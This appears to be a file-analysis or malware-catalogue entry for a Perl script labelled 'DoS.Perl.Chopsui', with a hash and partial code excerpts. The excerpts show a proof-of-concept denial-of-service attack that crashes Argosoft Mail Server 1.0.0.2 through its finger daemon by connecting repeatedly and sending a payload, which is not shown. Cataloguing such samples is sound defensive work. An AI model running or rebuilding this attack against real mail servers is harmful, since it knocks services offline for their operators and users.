Benign Download

DoS.Perl.Chopsui

imports IO::SocketPerl IO::Socket::INET client connection

SHA-256e01d95a6d4d2b309e2c61d3c09e2f8620c89e655c56fb4ad2cdf23408434bf3f

Evidence

imports IO::Socket lines 1–39

⋯4 lines
5#
6# ----------------------------------------------------------
7# Disclaimer: this file is intended as proof of concept, and
8# is not intended to be used for illegal purposes. I accept
9# no responsibility for damage incurred by the use of it.
10# ----------------------------------------------------------
11#
12# This will cause Argosoft Mail Server 1.0.0.2 to page fault if the finger
13# daemon is running.
14#
15
16use IO::Socket;
17
18$host = "tr" ;
⋯11 lines
30while($count < 5) {
31print "Connecting to $host:$port...";
32$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "unable to connect.\n";
33print "done.\n";
34print $socket "$sod\x0a";
⋯5 lines